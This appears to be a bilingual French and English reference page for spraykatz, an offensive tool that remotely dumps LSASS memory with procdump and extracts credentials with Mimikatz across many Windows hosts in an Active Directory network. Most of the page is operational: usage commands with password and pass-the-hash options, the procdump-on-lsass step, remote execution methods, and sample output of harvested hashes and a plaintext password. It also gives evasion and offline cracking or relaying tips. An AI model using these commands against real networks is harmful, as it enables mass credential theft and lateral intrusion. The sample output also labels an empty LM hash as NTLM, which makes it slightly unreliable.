spraykatz

Dump d'identifiants Mimikatz à distance et à grande échelle. Extrait les identifiants de plusieurs hôtes Windows simultanément à l'aide de procdump et Mimikatz : récolte massive d'identifiants sur un réseau AD. Remote Mimikatz-based credential dumping at scale. Dumps credentials from multiple Windows hosts simultaneously using procdump and Mimikatz — mass credential harvesting across an AD network.

↗ https://github.com/aas-n/spraykatz

Overview

Spraykatz automates remote credential dumping across multiple Windows hosts. It uses legitimate Windows tools (procdump) to dump LSASS memory on each target, then extracts credentials with Mimikatz — all remotely without deploying agents.

Installation

pip3 install spraykatz
# or
git clone https://github.com/aas-n/spraykatz
cd spraykatz
pip3 install -r requirements.txt

Basic Usage

Dump credentials from multiple hosts

python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt

Single host

python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1

With hash authentication

python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt

Specify domain controller

python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt

Target File Format

targets.txt — one IP per line

cat targets.txt

→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10

How It Works

# 1. Connects to each target via SMB (requires admin rights)
# 2. Uploads procdump.exe (Sysinternals) via SMB
# 3. Runs: procdump -accepteula -ma lsass.exe lsass.dmp
# 4. Downloads the LSASS dump
# 5. Runs Mimikatz locally to extract credentials
# 6. Outputs credentials per host

# Remote execution via:
# WMIEXEC — WMI-based execution
# SCM     — Service Control Manager
# SMBEXEC — SMB-based execution

Output

# Per-host credential output:
# [+] 10.10.10.1:
#   [*] Username: administrator
#       NTLM: 8846f7eaee8fb117ad06bdd830b7586c
#       Password: (null)
#   [*] Username: DOMAIN\serviceaccount
#       NTLM: aad3b435b51404eeaad3b435b51404ee
#       Password: ServicePass123!

Tips

  • Requires local admin rights on target systems (domain admin or local admin)
  • LSASS dumping is detected by most EDR solutions — expect alerts
  • For OPSEC, use CrackMapExec’s --lsa or --sam flags for more targeted dumping
  • Procdump is signed by Microsoft — less AV flagging than custom tools
  • Collect all hashes first, then crack/relay offline without further target interaction
Help / Man page
spraykatz.py [options]

-u USER     Username (DOMAIN/user or user)
-p PASS     Password
-H HASH     NT hash (LM:NT format)
-d DOMAIN   Domain name
-t TARGETS  Target IP or file with targets (one per line)
-r REMOTE   Remote share for uploads (default: C$)
-v          Verbose

Vue d’ensemble

Spraykatz automatise le dump d’identifiants à distance sur plusieurs hôtes Windows. Il utilise des outils Windows légitimes (procdump) pour dumper la mémoire LSASS sur chaque cible, puis extrait les identifiants avec Mimikatz, le tout à distance sans déployer d’agent.

Installation

pip3 install spraykatz
# ou
git clone https://github.com/aas-n/spraykatz
cd spraykatz
pip3 install -r requirements.txt

Utilisation de base

# Dumper les identifiants de plusieurs hôtes
python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt

# Un seul hôte
python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1

# Avec authentification par hash
python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt

# Spécifier le contrôleur de domaine
python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt

Format du fichier de cibles

targets.txt : une IP par ligne

cat targets.txt

→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10

Fonctionnement

# 1. Se connecte à chaque cible via SMB (nécessite des droits admin)
# 2. Upload procdump.exe (Sysinternals) via SMB
# 3. Exécute : procdump -accepteula -ma lsass.exe lsass.dmp
# 4. Télécharge le dump LSASS
# 5. Exécute Mimikatz en local pour extraire les identifiants
# 6. Affiche les identifiants par hôte

# Exécution à distance via :
# WMIEXEC : exécution basée sur WMI
# SCM     : Service Control Manager
# SMBEXEC : exécution basée sur SMB

Sortie

# Sortie des identifiants par hôte :
# [+] 10.10.10.1:
#   [*] Username: administrator
#       NTLM: 8846f7eaee8fb117ad06bdd830b7586c
#       Password: (null)
#   [*] Username: DOMAIN\serviceaccount
#       NTLM: aad3b435b51404eeaad3b435b51404ee
#       Password: ServicePass123!

Conseils

  • Nécessite des droits admin locaux sur les systèmes cibles (domain admin ou admin local)
  • Le dump LSASS est détecté par la plupart des solutions EDR : s’attendre à des alertes
  • Pour l’OPSEC, utiliser les flags --lsa ou --sam de CrackMapExec pour un dump plus ciblé
  • Procdump est signé par Microsoft : moins de détection AV que des outils custom
  • Collecter d’abord tous les hashes, puis les cracker/relayer hors ligne sans interaction supplémentaire avec la cible
Aide / Page de manuel
spraykatz.py [options]

-u USER     Username (DOMAIN/user or user)
-p PASS     Password
-H HASH     NT hash (LM:NT format)
-d DOMAIN   Domain name
-t TARGETS  Target IP or file with targets (one per line)
-r REMOTE   Remote share for uploads (default: C$)
-v          Verbose